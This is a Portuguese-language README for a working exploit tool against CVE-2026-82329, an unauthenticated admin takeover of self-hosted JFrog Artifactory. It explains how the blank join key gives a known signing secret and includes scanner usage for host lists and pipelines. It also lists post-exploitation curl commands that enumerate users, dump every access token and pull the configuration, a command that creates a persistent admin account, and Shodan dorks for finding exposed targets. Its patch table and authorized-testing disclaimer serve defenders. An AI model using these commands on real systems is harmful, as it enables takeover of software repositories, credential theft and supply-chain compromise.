
Exploit para CVE-2026-82329, uma bypass de autenticação não autenticada no JFrog Artifactory auto-hospedado, permitindo a tomada de token de administrador por meio de chave de junção em branco.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (self-hosted) unauthenticated join-JWT
→ SERVICE admin token → platform applied-permissions/admin access token.
CVSS 9.8 · CWE-287 · CISA KEV · explorado ativamente na natureza.
Apenas para testes autorizados. Não execute isto contra sistemas que não sejam seus ou para os quais não tenha permissão escrita para testar.
Instalações self-hosted padrão confiam numa join key em branco.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
JFrog cloud-hosted está corrigido. Apenas self-hosted.
Linha de correção do Access: 7.191.14.
# apenas stdlib — sem pip
python3 artifactory.py -h
A verificação TLS está desativada por predefinição (Artifactory com certificado autoassinado é normal).
Sem flag extra.
# host único
python3 artifactory.py -u https://artifactory.example.internal:8082
# imprimir token admin cunhado
python3 artifactory.py -u https://TARGET:8082 --token
# lista / pipeline (estilo httpx, shodan, subfinder)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Apenas Pro / Enterprise — persistir admin local (destrutivo)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (corrigido / sem key em branco)
[FAIL] https://dead:8082 inacessível
| Tag | Significado |
|---|
--token imprime o valor do Bearer. Isso é a tomada de controlo — um utilizador com login é opcional.
--create-admin devolve frequentemente 400 em OSS (PUT /artifactory/api/security/users é Pro).
O token admin continua a funcionar. A persistência não é necessária para uma descoberta válida.
Substitua TARGET e cole o token da saída de --token.
TOKEN='eyJ...' # saída de --token
B='https://TARGET:8082'
# versão / edição
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# diretório de utilizadores (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# todos os access tokens na instância
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# inventário de repositórios
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
Outras leituras úteis só-admin (não escreva a menos que autorizado):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: Platform → iniciar sessão com Access Token, ou enviar
Authorization: Bearer <token> em cada pedido.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
Política de palavra-passe 400 ≠ não vulnerável. O token já tem aud=*.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# portas comuns
8081 8082 8040 8046 443
A ferramenta remove /artifactory /ui /webapp de -u e comunica com o router Access na mesma origem.
--create-admin não é a descobertaReporte o impacto como: token de administrador de plataforma não autenticado.
A criação de utilizador é um passo seguinte, não o problema de raiz.
Este repositório é um validador para sistemas que está autorizado a testar.
Cunhar tokens, listar utilizadores ou criar contas em infraestrutura de terceiros sem permissão é ilegal.
Correção: atualize para a build corrigida do seu branch, defina uma join key real e rotacione tokens cunhados após a divulgação.
mitsec · @ynsmroztas
| Passo | Pedido | Resultado |
|---|
| 1 | Forjar join JWT HS256 (iat recente, skip_node_registration=true) | segredo HMAC conhecido |
| 2 | POST /access/api/v1/registry/join | 201 token SERVICE scp=admin |
| 3 | POST /access/api/v1/tokens | 200 token admin scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | prova só-admin (sem auth = 401) |
| Branch | Vulnerável ≤ | Corrigido |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
VULN | Join em branco aceite + prova de admin (configuration ou lista de tokens = 200) |
SAFE | Join rejeitado — corrigido, join keys extra definidas, ou não é Access |
INFO | Join cunhado, endpoints de prova não devolvem 200 — inspecionar manualmente |
FAIL | Rede / timeout |
| Superfície | OSS | Pro / Enterprise |
|---|
| Cunhar access token admin | sim | sim |
| Ler config / listar tokens / repositórios | sim | sim |
PUT /artifactory/api/security/users | 400 só-Pro | 200/201 |
POST /access/api/v2/users | dependente da versão / política | 201 |